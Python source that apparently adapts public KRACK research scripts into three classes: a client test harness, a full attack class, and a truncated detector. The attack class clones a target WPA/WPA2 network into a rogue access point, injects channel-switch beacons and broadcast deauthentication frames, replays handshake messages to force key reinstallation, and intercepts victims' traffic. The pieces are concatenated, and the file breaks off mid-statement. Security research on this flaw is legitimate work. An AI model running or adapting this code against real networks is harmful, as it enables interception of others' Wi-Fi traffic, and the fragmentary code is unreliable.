class KRAckAttackClient(): TPTK_NONE, TPTK_REPLAY, TPTK_RAND = range(3) def __init__(self): # Parse hostapd.conf self.script_path = os.path.dirname(os.path.realpath(__file__)) try: interface = hostapd_read_config( os.path.join(self.script_path, "hostapd.conf")) except Exception as ex: log(ERROR, "Failed to parse the hostapd.conf config file") raise if not interface: log( ERROR, 'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".' ) quit(1) # Set other variables self.nic_iface = interface self.nic_mon = interface + "mon" self.test_grouphs = False self.test_tptk = KRAckAttackClient.TPTK_NONE try: self.apmac = scapy.arch.get_if_hwaddr(interface) except: log( ERROR, 'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".' % interface) raise self.sock_mon = None self.sock_eth = None self.hostapd = None self.hostapd_ctrl = None self.dhcp = None self.group_ip = None self.group_arp = None self.clients = dict() def reset_client_info(self, clientmac): if clientmac in self.dhcp.leases: self.dhcp.remove_client(clientmac) log(DEBUG, "%s: Removing client from DHCP leases" % clientmac) if clientmac in self.clients: del self.clients[clientmac] log(DEBUG, "%s: Removing ClientState object" % clientmac) def handle_replay(self, p): """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This function processes these frames manually so we can still test reinstallations of the group key.""" if not Dot11WEP in p: return # Reconstruct Ethernet header clientmac = p.addr2 header = Ether(dst=self.apmac, src=clientmac) header.time = p.time # Decrypt the payload and obtain LLC/SNAP header and packet content client = self.clients[clientmac] plaintext = client.decrypt(p, self.hostapd_ctrl) llcsnap, packet = plaintext[:8], plaintext[8:] # Rebuild the full Ethernet packet if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06": decap = header / ARP(packet) elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00": decap = header / IP(packet) elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd": decap = header / IPv6(packet) #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e": # # EAPOL else: return # Now process the packet as if it were a valid (non-replayed) one self.process_eth_rx(decap) def handle_mon_rx(self): p = self.sock_mon.recv() if p == None: return if p.type == 1: return # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast # ARP requests, because it may override them in the firmware/hardware (some Atheros # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption). # The first bit in FCfield is set if the frames is "to-DS" clientmac, apmac = (p.addr1, p.addr2) if (p.FCfield & 2) != 0 else (p.addr2, p.addr1) if apmac != self.apmac: return None # Reset info about disconnected clients if Dot11Deauth in p or Dot11Disas in p: self.reset_client_info(clientmac) # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel elif p.addr1 == self.apmac and Dot11WEP in p: if not clientmac in self.clients: self.clients[clientmac] = ClientState( clientmac, test_group_hs=self.test_grouphs, test_tptk=self.test_tptk) client = self.clients[clientmac] iv = dot11_get_iv(p) log( DEBUG, "%s: transmitted data using IV=%d (seq=%d)" % (clientmac, iv, dot11_get_seqnum(p))) if decrypt_ccmp(p, "\x00" * 16).startswith("\xAA\xAA\x03\x00\x00\x00"): client.mark_allzero_key(p) if not self.test_grouphs: client.check_pairwise_reinstall(p) if client.is_iv_reused(p): self.handle_replay(p) client.track_used_iv(p) def process_eth_rx(self, p): self.dhcp.reply(p) self.group_arp.reply(p) clientmac = p[Ether].src if not clientmac in self.clients: return client = self.clients[clientmac] if ARP in p and p[ARP].pdst == self.group_ip: client.groupkey_handle_canary(p) def handle_eth_rx(self): p = self.sock_eth.recv() if p == None or not Ether in p: return self.process_eth_rx(p) def configure_interfaces(self): log( STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script." ) # 0. Some users may forget this otherwise subprocess.check_output(["rfkill", "unblock", "wifi"]) # 1. Remove unused virtual interfaces to start from a clean state subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) # 2. Configure monitor mode on interfaces subprocess.check_output([ "iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor" ]) # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) time.sleep(0.5) subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_mon, "up"]) def run(self, test_grouphs=False, test_tptk=False): self.configure_interfaces() # Open the patched hostapd instance that carries out tests and let it start log(STATUS, "Starting hostapd ...") try: self.hostapd = subprocess.Popen([ os.path.join(self.script_path, "../hostapd/hostapd"), os.path.join(self.script_path, "hostapd.conf") ] + sys.argv[1:]) except: if not os.path.exists("../hostapd/hostapd"): log( ERROR, "hostapd executable not found. Did you compile hostapd? Use --help param for more info." ) raise time.sleep(1) try: self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface) self.hostapd_ctrl.attach() except: log( ERROR, "It seems hostapd did not start properly, please inspect its output." ) log( ERROR, "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work." ) raise self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface) # Let scapy handle DHCP requests self.dhcp = DHCP_sock(sock=self.sock_eth, domain='krackattack.com', pool=Net('192.168.100.0/24'), network='192.168.100.0/24', gw='192.168.100.254', renewal_time=600, lease_time=3600) # Configure gateway IP: reply to ARP and ping requests subprocess.check_output( ["ifconfig", self.nic_iface, "192.168.100.254"]) # Use a dedicated IP address for our broadcast ARP requests and replies self.group_ip = self.dhcp.pool.pop() self.group_arp = ARP_sock(sock=self.sock_eth, IP_addr=self.group_ip, ARP_addr=self.apmac) # If applicable, inform hostapd that we are testing the group key handshake if test_grouphs: hostapd_command(self.hostapd_ctrl, "START_GROUP_TESTS") self.test_grouphs = True # If applicable, inform hostapd that we are testing for Temporal PTK (TPTK) construction behaviour self.test_tptk = test_tptk if self.test_tptk == KRAckAttackClient.TPTK_REPLAY: hostapd_command(self.hostapd_ctrl, "TEST_TPTK") elif self.test_tptk == KRAckAttackClient.TPTK_RAND: hostapd_command(self.hostapd_ctrl, "TEST_TPTK_RAND") log(STATUS, "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!", color="green") # Monitor both the normal interface and virtual monitor interface of the AP self.next_arp = time.time() + 1 while True: sel = select.select([self.sock_mon, self.sock_eth], [], [], 1) if self.sock_mon in sel[0]: self.handle_mon_rx() if self.sock_eth in sel[0]: self.handle_eth_rx() # Periodically send the replayed broadcast ARP requests to test for group key reinstallations if time.time() > self.next_arp: self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL for client in self.clients.values(): # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames) if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases: clientip = self.dhcp.leases[client.mac] client.groupkey_track_request() log( INFO, "%s: sending broadcast ARP to %s from %s" % (client.mac, clientip, self.group_ip)) request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=1, hwsrc=self.apmac, psrc=self.group_ip, pdst=clientip) self.sock_eth.send(request) def stop(self): log(STATUS, "Closing hostapd and cleaning up ...") if self.hostapd: self.hostapd.terminate() self.hostapd.wait() if self.sock_mon: self.sock_mon.close() if self.sock_eth: self.sock_eth.close()
class KRAckAttack(): def __init__(self, nic_real, nic_rogue_ap, nic_rogue_mon, ssid, clientmac=None, dumpfile=None, cont_csa=False): self.nic_real = nic_real self.nic_real_clientack = None self.nic_rogue_ap = nic_rogue_ap self.nic_rogue_mon = nic_rogue_mon self.dumpfile = dumpfile self.ssid = ssid self.beacon = None self.apmac = None self.netconfig = None self.hostapd = None self.hostapd_log = None # This is set in case of targeted attacks self.clientmac = None if clientmac is None else clientmac.replace("-", ":").lower() self.sock_real = None self.sock_rogue = None self.clients = dict() self.disas_queue = [] self.continuous_csa = cont_csa # To monitor wether interfaces are (still) on the proper channels self.last_real_beacon = None self.last_rogue_beacon = None # To attack/test the group key handshake self.group1 = [] self.time_forward_group1 = None def hostapd_rx_mgmt(self, p): log(DEBUG, "Sent frame to hostapd: %s" % dot11_to_str(p)) self.hostapd_ctrl.request("RX_MGMT " + str(p[Dot11]).encode("hex")) def hostapd_add_sta(self, macaddr): log(DEBUG, "Forwarding auth to rouge AP to register client", showtime=False) self.hostapd_rx_mgmt(Dot11(addr1=self.apmac, addr2=macaddr, addr3=self.apmac)/Dot11Auth(seqnum=1)) def hostapd_finish_4way(self, stamac): log(DEBUG, "Sent frame to hostapd: finishing 4-way handshake of %s" % stamac) self.hostapd_ctrl.request("FINISH_4WAY %s" % stamac) def find_beacon(self, ssid): log(STATUS, "Searching for target network: " + ssid + " using " + self.sock_real.iface) ps = sniff(count=1, timeout=600, lfilter=lambda p: Dot11Beacon in p and get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid, iface=self.sock_real.iface) if ps is None or len(ps) < 1: log(STATUS, "Searching for target network on other channels: " + ssid + " using " + self.sock_real.iface) for chan in [1, 6, 11, 3, 8, 2, 7, 4, 10, 5, 9, 12, 13]: self.sock_real.set_channel(chan) log(DEBUG, "Listening on channel %d" % chan) ps = sniff(count=1, timeout=20, lfilter=lambda p: Dot11Beacon in p and get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid, opened_socket=self.sock_real) if ps and len(ps) >= 1: break if ps and len(ps) >= 1: actual_chan = ord(get_tlv_value(ps[0], IEEE_TLV_TYPE_CHANNEL)) self.sock_real.set_channel(actual_chan) self.beacon = ps[0] self.apmac = self.beacon.addr2 def send_csa_beacon(self, numbeacons=1, target=None, silent=False): newchannel = self.netconfig.rogue_channel beacon = self.beacon.copy() if target: beacon.addr1 = target for i in range(numbeacons): # Note: Intel firmware requires first receiving a CSA beacon with a count of 2 or higher, # followed by one with a value of 1. When starting with 1 it errors out. csabeacon = append_csa(beacon, newchannel, 2) self.sock_real.send(csabeacon) csabeacon = append_csa(beacon, newchannel, 1) self.sock_real.send(csabeacon) if not silent: log(STATUS, "Injected %d CSA beacon pairs (moving stations to channel %d)" % (numbeacons, newchannel), color="green") def send_disas(self, macaddr): p = Dot11(addr1=macaddr, addr2=self.apmac, addr3=self.apmac)/Dot11Disas(reason=0) self.sock_rogue.send(p) log(STATUS, "Rogue channel: injected Disassociation to %s" % macaddr, color="green") def queue_disas(self, macaddr): if macaddr in [macaddr for shedtime, macaddr in self.disas_queue]: return heapq.heappush(self.disas_queue, (time.time() + 0.5, macaddr)) def try_channel_switch(self, macaddr): self.send_csa_beacon() self.queue_disas(macaddr) def hostapd_add_allzero_client(self, client): if client.assocreq is None: log(ERROR, "Didn't receive AssocReq of client %s, unable to let rogue hostapd handle client." % client.macaddr) return False # 1. Add the client to hostapd self.hostapd_add_sta(client.macaddr) # 2. Inform hostapd of the encryption algorithm and options the client uses self.hostapd_rx_mgmt(client.assocreq) # 3. Send the EAPOL msg4 to trigger installation of all-zero key by the modified hostapd self.hostapd_finish_4way(client.macaddr) return True def handle_to_client_pairwise(self, client, p): if args.group: return False eapolnum = get_eapol_msgnum(p) if eapolnum == 1 and client.state in [ClientState.Connecting, ClientState.GotMitm]: log(DEBUG, "Storing msg1") client.store_msg1(p) elif eapolnum == 3 and client.state in [ClientState.Connecting, ClientState.GotMitm]: client.add_if_new_msg3(p) # FIXME: This may cause a timeout on the client side??? if len(client.msg3s) >= 2: log(STATUS, "Got 2nd unique EAPOL msg3. Will forward both these Msg3's seperated by a forged msg1.", color="green", showtime=False) log(STATUS, "==> Performing key reinstallation attack!", color="green", showtime=False) # FIXME: Warning if msg1 was not detected. Or generate it ourselves. packet_list = client.msg3s p = set_eapol_replaynum(client.msg1, get_eapol_replaynum(packet_list[0]) + 1) packet_list.insert(1, p) for p in packet_list: self.sock_rogue.send(p) client.msg3s = [] # TODO: Should extra stuff be done here? Forward msg4 to real AP? client.attack_start() else: log(STATUS, "Not forwarding EAPOL msg3 (%d unique now queued)" % len(client.msg3s), color="green", showtime=False) return True return False def handle_from_client_pairwise(self, client, p): if args.group: return # Note that scapy incorrectly puts Extended IV into wepdata field, so skip those four bytes plaintext = "\xaa\xaa\x03\x00\x00\x00" encrypted = p[Dot11WEP].wepdata[4:4+len(plaintext)] keystream = xorstr(plaintext, encrypted) iv = dot11_get_iv(p) if iv <= 1: log(DEBUG, "Ciphertext: " + encrypted.encode("hex"), showtime=False) # FIXME: # - The reused IV could be one we accidently missed due to high traffic!!! # - It could be a retransmitted packet if client.is_iv_reused(iv): # If the same keystream is reused, we have a normal key reinstallation attack if keystream == client.get_keystream(iv): log(STATUS, "SUCCESS! Nonce and keystream reuse detected (IV=%d)." % iv, color="green", showtime=False) client.update_state(ClientState.Success_Reinstalled) # TODO: Confirm that the handshake now indeed completes. FIXME: Only if we have a msg4? self.sock_real.send(client.msg4) # Otherwise the client likely installed a new key, i.e., probably an all-zero key else: # TODO: We can explicitly try to decrypt it using an all-zero key log(STATUS, "SUCCESS! Nonce reuse detected (IV=%d), with usage of all-zero encryption key." % iv, color="green", showtime=False) log(STATUS, "Now MitM'ing the victim using our malicious AP, and interceptig its traffic.", color="green", showtime=False) self.hostapd_add_allzero_client(client) # The client is now no longer MitM'ed by this script (i.e. no frames forwarded between channels) client.update_state(ClientState.Success_AllzeroKey) elif client.attack_timeout(iv): log(WARNING, "KRAck Attack against %s seems to have failed" % client.macaddr) client.update_state(ClientState.Failed) client.save_iv_keystream(iv, keystream) def handle_to_client_groupkey(self, client, p): if not args.group: return False # Does this look like a group key handshake frame -- FIXME do not hardcode the TID if Dot11WEP in p and p.addr2 == self.apmac and p.addr3 == self.apmac and dot11_get_tid(p) == 7: # TODO: Detect that it's not a retransmission self.group1.append(p) log(STATUS, "Queued %s group message 1's" % len(self.group1), showtime=False) if len(self.group1) == 2: log(STATUS, "Forwarding first group1 message", showtime=False) self.sock_rogue.send(self.group1.pop(0)) self.time_forward_group1 = time.time() + 3 return True return False def handle_from_client_groupkey(self, client, p): if not args.group: return # Does this look like a group key handshake frame -- FIXME do not hardcode the TID if Dot11WEP in p and p.addr1 == self.apmac and p.addr3 == self.apmac and dot11_get_tid(p) == 7: log(STATUS, "Got a likely group message 2", showtime=False) def receive_packet(self, pkt): if pkt.sniffed_on == self.sock_real.iface: self.handle_rx_realchan2(pkt) if pkt.sniffed_on == self.nic_rogue_mon: self.handle_rx_roguechan2(pkt) def handle_rx_realchan(self): p = self.sock_real.recv() if p == None: return self.handle_rx_realchan2(p) def handle_rx_realchan2(self, p): # 1. Handle frames sent TO the real AP if p.addr1 == self.apmac: # If it's an authentication to the real AP, always display it ... if Dot11Auth in p: print_rx(INFO, "Real channel ", p, color="orange") # ... with an extra clear warning when we wanted to MitM this specific client if self.clientmac == p.addr2: log(WARNING, "Client %s is connecting on real channel, injecting CSA beacon to try to correct." % self.clientmac) if p.addr2 in self.clients: del self.clients[p.addr2] # Send one targeted beacon pair (should be retransmitted in case of failure), and one normal broadcast pair self.send_csa_beacon(target=p.addr2) self.send_csa_beacon() self.clients[p.addr2] = ClientState(p.addr2) self.clients[p.addr2].update_state(ClientState.Connecting) # Remember association request to save connection parameters elif Dot11AssoReq in p: if p.addr2 in self.clients: self.clients[p.addr2].assocreq = p # Clients sending a deauthentication or disassociation to the real AP are also interesting ... #elif Dot11Deauth in p or Dot11Disas in p: # print_rx(INFO, "Real channel ", p) # if p.addr2 in self.clients: del self.clients[p.addr2] # Display all frames sent from a MitM'ed client elif p.addr2 in self.clients: print_rx(INFO, "Real channel from MitM-ed client", p) # For all other frames, only display them if they come from the targeted client elif self.clientmac is not None and self.clientmac == p.addr2: print_rx(INFO, "Real channel from victim", p) # Prevent the AP from thinking clients that are connecting are sleeping, until attack completed or failed if p.FCfield & 0x10 != 0 and p.addr2 in self.clients and self.clients[p.addr2].state <= ClientState.Attack_Started: log(WARNING, "Injecting Null frame so AP thinks client %s is awake (attacking sleeping clients is not fully supported)" % p.addr2) sendp(Dot11(type=2, subtype=4, addr1=self.apmac, addr2=p.addr2, addr3=self.apmac), iface=self.sock_real.iface) # 2. Handle frames sent BY the real AP elif p.addr2 == self.apmac: # Track time of last beacon we received. Verify channel to assure it's not the rogue AP. if Dot11Beacon in p and ord(get_tlv_value(p, IEEE_TLV_TYPE_CHANNEL)) == self.netconfig.real_channel: self.last_real_beacon = time.time() # Decide whether we will (eventually) forward it might_forward = p.addr1 in self.clients and self.clients[p.addr1].should_forward(p) might_forward = might_forward or (args.group and dot11_is_group(p) and Dot11WEP in p) # Pay special attention to Deauth and Disassoc frames if Dot11Deauth in p or Dot11Disas in p: print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing" if might_forward else None) # If targeting a specific client, display all frames it sends elif self.clientmac is not None and self.clientmac == p.addr1: print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing" if might_forward else None) # For other clients, just display what might be forwarded elif might_forward: print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing") # Now perform actual actions that need to be taken, along with additional output if might_forward: print "Forwarded some packets" # Unicast frames to clients if p.addr1 in self.clients: client = self.clients[p.addr1] # Note: could be that client only switching to rogue channel before receiving Msg3 and sending Msg4 if self.handle_to_client_pairwise(client, p): pass elif self.handle_to_client_groupkey(client, p): pass elif Dot11Deauth in p: del self.clients[p.addr1] sendp(p, iface=self.sock_rogue.iface) else: sendp(p, iface=self.sock_rogue.iface) # Group addressed frames else: sendp(p, iface=self.sock_rogue.iface) # 3. Always display all frames sent by or to the targeted client elif p.addr1 == self.clientmac or p.addr2 == self.clientmac: print_rx(INFO, "Real channel ", p) def handle_rx_roguechan(self): p = self.sock_rogue.recv() if p == None: return self.handle_rx_roguechan2(p) def handle_rx_roguechan2(self, p): # 1. Handle frames sent BY the rouge AP if p.addr2 == self.apmac: # Track time of last beacon we received. Verify channel to assure it's not the real AP. if Dot11Beacon in p and ord(get_tlv_value(p, IEEE_TLV_TYPE_CHANNEL)) == self.netconfig.rogue_channel: print "Comparing original vs fake beacon" self.last_rogue_beacon = time.time() # Display all frames sent to the targeted client if self.clientmac is not None and p.addr1 == self.clientmac: print_rx(INFO, "Rogue channel to victim", p) # And display all frames sent to a MitM'ed client elif p.addr1 in self.clients: print_rx(INFO, "Rogue channel", p) # 2. Handle frames sent TO the AP elif p.addr1 == self.apmac: client = None # Check if it's a new client that we can MitM if Dot11Auth in p: print_rx(INFO, "Rogue channel MitM-new", p, suffix=" -- MitM'ing") self.clients[p.addr2] = ClientState(p.addr2) self.clients[p.addr2].mark_got_mitm() client = self.clients[p.addr2] will_forward = True # Otherwise check of it's an existing client we are tracking/MitM'ing elif p.addr2 in self.clients: client = self.clients[p.addr2] will_forward = client.should_forward(p) print_rx(INFO, "Rogue channel MitM", p, suffix=" -- MitM'ing" if will_forward else None) # Always display all frames sent by the targeted client elif p.addr2 == self.clientmac: print_rx(INFO, "Rogue channel", p) # If this now belongs to a client we want to track, process the packet further if client is not None: # Save the association request so we can track the encryption algorithm and options the client uses if Dot11AssoReq in p: client.assocreq = p # Save msg4 so we can complete the handshake once we attempted a key reinstallation attack if get_eapol_msgnum(p) == 4: client.msg4 = p # Client is sending on rogue channel, we got a MitM position =) client.mark_got_mitm() if Dot11WEP in p: # Use encrypted frames to determine if the key reinstallation attack succeeded self.handle_from_client_pairwise(client, p) self.handle_from_client_groupkey(client, p) if will_forward: # Don't mark client as sleeping when we haven't got two Msg3's and performed the attack if client.state < ClientState.Attack_Started: p.FCfield &= 0xFFEF self.sock_real.send(p) # 3. Always display all frames sent by or to the targeted client elif p.addr1 == self.clientmac or p.addr2 == self.clientmac: print_rx(INFO, "Rogue channel", p) def handle_hostapd_out(self): # hostapd always prints lines so this should not block line = self.hostapd.stdout.readline() if line == "": log(ERROR, "Rogue hostapd instances unexpectedly closed") quit(1) if line.startswith(">>>> "): log(STATUS, "Rogue hostapd: " + line[5:].strip()) elif line.startswith(">>> "): log(DEBUG, "Rogue hostapd: " + line[4:].strip()) # This is a bit hacky but very usefull for quick debugging elif "fc=0xc0" in line: log(WARNING, "Rogue hostapd: " + line.strip()) elif "sta_remove" in line or "Add STA" in line or "disassoc cb" in line or "disassocation: STA" in line: log(DEBUG, "Rogue hostapd: " + line.strip()) else: log(ALL, "Rogue hostapd: " + line.strip()) self.hostapd_log.write(datetime.now().strftime('[%H:%M:%S] ') + line) def configure_interfaces(self): # 0. Warn about common mistakes log(STATUS, "Note: remember to disable Wi-Fi in your network manager so it doesn't interfere with this script") # This happens when targetting a specific client: both interfaces will ACK frames from each other due to the capture # effect, meaning certain frames will not reach the rogue AP or the client. As a result, the client will disconnect. log(STATUS, "Note: keep >1 meter between both interfaces. Else packet delivery is unreliable & target may disconnect") # 1. Remove unused virtual interfaces subprocess.call(["iw", self.nic_real + "sta1", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) if self.nic_rogue_mon is None: subprocess.call(["iw", self.nic_rogue_ap + "mon", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) # 2. Configure monitor mode on interfaces subprocess.check_output(["ifconfig", self.nic_real, "down"]) subprocess.check_output(["iw", self.nic_real, "set", "type", "monitor"]) if self.nic_rogue_mon is None: self.nic_rogue_mon = "fakeapmon"#self.nic_rogue_ap + "mon" subprocess.check_output(["iw", self.nic_rogue_ap, "interface", "add", self.nic_rogue_mon, "type", "monitor"]) # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly # sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface. subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) time.sleep(0.2) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "down"]) subprocess.check_output(["iw", self.nic_rogue_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) # 3. Configure interface on real channel to ACK frames if self.clientmac: self.nic_real_clientack = self.nic_real + "sta1" subprocess.check_output(["iw", self.nic_real, "interface", "add", self.nic_real_clientack, "type", "managed"]) call_macchanger(self.nic_real_clientack, self.clientmac) else: # Note: some APs require handshake messages to be ACKed before proceeding (e.g. Broadcom waits for ACK on Msg1) log(WARNING, "WARNING: Targeting ALL clients is not fully supported! Please provide a specific target using --target.") # Sleep for a second to make this warning very explicit time.sleep(1) # 4. Finally put the interfaces up subprocess.check_output(["ifconfig", self.nic_real, "up"]) subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"]) def run(self, strict_echo_test=False): #self.configure_interfaces() #Override configuration self.nic_rogue_mon = "wlx503eaa526d33" self.nic_real_clientack = "wlp4s0" self.nic_rogue_ap = "wlx503eaa527cb7" # Make sure to use a recent backports driver package so we can indeed # capture and inject packets in monitor mode. self.sock_real = MitmSocket(type=ETH_P_ALL, iface=self.nic_real , dumpfile=self.dumpfile, strict_echo_test=strict_echo_test) self.sock_rogue = MitmSocket(type=ETH_P_ALL, iface=self.nic_rogue_mon, dumpfile=self.dumpfile, strict_echo_test=strict_echo_test) # Test monitor mode and get MAC address of the network self.find_beacon(self.ssid) if self.beacon is None: log(ERROR, "No beacon received of network <%s>. Is monitor mode working? Did you enter the correct SSID?" % self.ssid) return # Parse beacon and used this to generate a cloned hostapd.conf self.netconfig = NetworkConfig() self.netconfig.from_beacon(self.beacon) if not self.netconfig.is_wparsn(): log(ERROR, "Target network is not an encrypted WPA or WPA2 network, exiting.") return elif self.netconfig.real_channel > 13: log(WARNING, "Attack not yet tested against 5 GHz networks.") self.netconfig.find_rogue_channel() log(STATUS, "Target network %s detected on channel %d" % (self.apmac, self.netconfig.real_channel), color="green") log(STATUS, "Will create rogue AP on channel %d" % self.netconfig.rogue_channel, color="green") # Set the MAC address of the rogue hostapd AP log(STATUS, "Setting MAC address of %s to %s" % (self.nic_rogue_ap, self.apmac)) set_mac_address(self.nic_rogue_ap, self.apmac) # Put the client ACK interface up (at this point switching channels on nic_real may no longer be possible) if self.nic_real_clientack: subprocess.check_output(["ifconfig", self.nic_real_clientack, "up"]) # Set BFP filters to increase performance bpf = "(wlan addr1 {apmac}) or (wlan addr2 {apmac})".format(apmac=self.apmac) if self.clientmac: bpf += " or (wlan addr1 {clientmac}) or (wlan addr2 {clientmac})".format(clientmac=self.clientmac) bpf = "(wlan type data or wlan type mgt) and (%s)" % bpf #self.sock_real.attach_filter(bpf) #self.sock_rogue.attach_filter(bpf) # Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config) with open("hostapd_rogue.conf", "w") as fp: fp.write(self.netconfig.write_config(self.nic_rogue_ap)) self.hostapd = subprocess.Popen(["../hostapd/hostapd", "hostapd_rogue.conf", "-dd", "-K"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.hostapd_log = open("hostapd_rogue.log", "w") log(STATUS, "Giving the rogue hostapd one second to initialize ...") time.sleep(1) self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_rogue_ap) self.hostapd_ctrl.attach() # Inject some CSA beacons to push victims to our channel self.send_csa_beacon(numbeacons=4) # Try to deauthenticated all clients deauth = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=self.apmac, addr3=self.apmac)/Dot11Deauth(reason=3) self.sock_real.send(deauth) # For good measure, also queue a dissasociation to the targeted client on the rogue channel if self.clientmac: self.queue_disas(self.clientmac) # Continue attack by monitoring both channels and performing needed actions self.last_real_beacon = time.time() self.last_rogue_beacon = time.time() nextbeacon = time.time() + 0.01 #View settings print "sock_rogue : " + self.sock_rogue.iface print "sock_real : " + self.sock_real.iface sniff(iface=[self.sock_rogue.iface, self.sock_real.iface], prn=self.receive_packet) while True: sel = select.select([self.sock_rogue, self.sock_real, self.hostapd.stdout], [], [], 0.1) if self.sock_real in sel[0]: self.handle_rx_realchan() #print "Selected fake client -> real AP" if self.sock_rogue in sel[0]: self.handle_rx_roguechan() print "Selected real client -> fake AP" if self.hostapd.stdout in sel[0]: self.handle_hostapd_out() #print "Selected hostapd socket" if self.time_forward_group1 and self.time_forward_group1 <= time.time(): p = self.group1.pop(0) self.sock_rogue.send(p) self.time_forward_group1 = None log(STATUS, "Injected older group message 1: %s" % dot11_to_str(p), color="green") while len(self.disas_queue) > 0 and self.disas_queue[0][0] <= time.time(): self.send_disas(self.disas_queue.pop()[1]) if self.continuous_csa and nextbeacon <= time.time(): self.send_csa_beacon(silent=True) nextbeacon += 0.10 if self.last_real_beacon + 2 < time.time(): log(WARNING, "WARNING: Didn't receive beacon from real AP for two seconds") self.last_real_beacon = time.time() if self.last_rogue_beacon + 2 < time.time(): log(WARNING, "WARNING: Didn't receive beacon from rogue AP for two seconds") self.last_rogue_beacon = time.time() def stop(self): log(STATUS, "Closing hostapd and cleaning up ...") if self.hostapd: self.hostapd.terminate() self.hostapd.wait() if self.hostapd_log: self.hostapd_log.close() if self.sock_real: self.sock_real.close() if self.sock_rogue: self.sock_rogue.close()
class DetectKRACK(): def __init__(self): self.script_path = os.path.dirname(os.path.realpath(__file__)) interface = "wlo1" # Enter wifi interface here self.nic_iface = interface self.nic_mon = interface + "mon" self.apmac = scapy.arch.get_if_hwaddr(interface) self.sock_mon = None self.sock_eth = None self.hostapd = None self.hostapd_ctrl = None self.clients = dict() def configure_interfaces(self): log( STATUS, "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script." ) subprocess.check_output(["rfkill", "unblock", "wifi"]) subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) subprocess.check_output([ "iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor" ]) subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) time.sleep(0.5) subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_mon, "up"]) def run(self): self.configure_interfaces() log(STATUS, "Starting hostapd") try: self.hostapd = subprocess.Popen([ os.path.join(self.script_path, "hostapd/hostapd"), os.path.join(self.script_path, "hostapd/hostapd.conf") ]) except: if not os.path.exists("hostapd/hostapd"): log(ERROR, "hostapd not found.") raise time.sleep(1) try: self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface) self.hostapd_ctrl.attach() except: log(ERROR, "It seems hostapd did not start properly.") log(ERROR, "Did you disable Wi-Fi in the network manager?") raise self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface) self.dhcp = DHCP_sock(sock=self.sock_eth, domain='krackattack.com', pool=Net('192.168.100.0/24'), network='192.168.100.0/24', gw='192.168.100.254', renewal_time=600, lease_time=3600) # Configure gateway IP: reply to ARP and ping requests subprocess.check_output( ["ifconfig", self.nic_iface, "192.168.100.254"]) # Use a dedicated IP address for our broadcast ARP requests and replies self.group_ip = self.dhcp.pool.pop() self.group_arp = ARP_sock(sock=self.sock_eth, IP_addr=self.group_ip, ARP_addr=self.apmac) log(STATUS, "Ready. Connect to this Access Point to start the tests.", color="green") # Monitor both the normal interface and virtual monitor interface of the AP self.next_arp = time.time() + 1 while True: sel = select.select([self.sock_mon, self.sock_eth], [], [], 1) if self.sock_mon in sel[0]: self.handle_mon() if self.sock_eth in sel[0]: self.handle_eth() # Periodically send the replayed broadcast ARP requests to test for group key reinstallations if time.time() > self.next_arp: self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL for client in self.clients.values(): # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames) if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases: clientip = self.dhcp.leases[client.mac] log( INFO, "%s: sending broadcast ARP to %s from %s" % (client.mac, clientip, self.group_ip)) request = Ether(dst="ff:ff:ff:ff:ff:ff") / 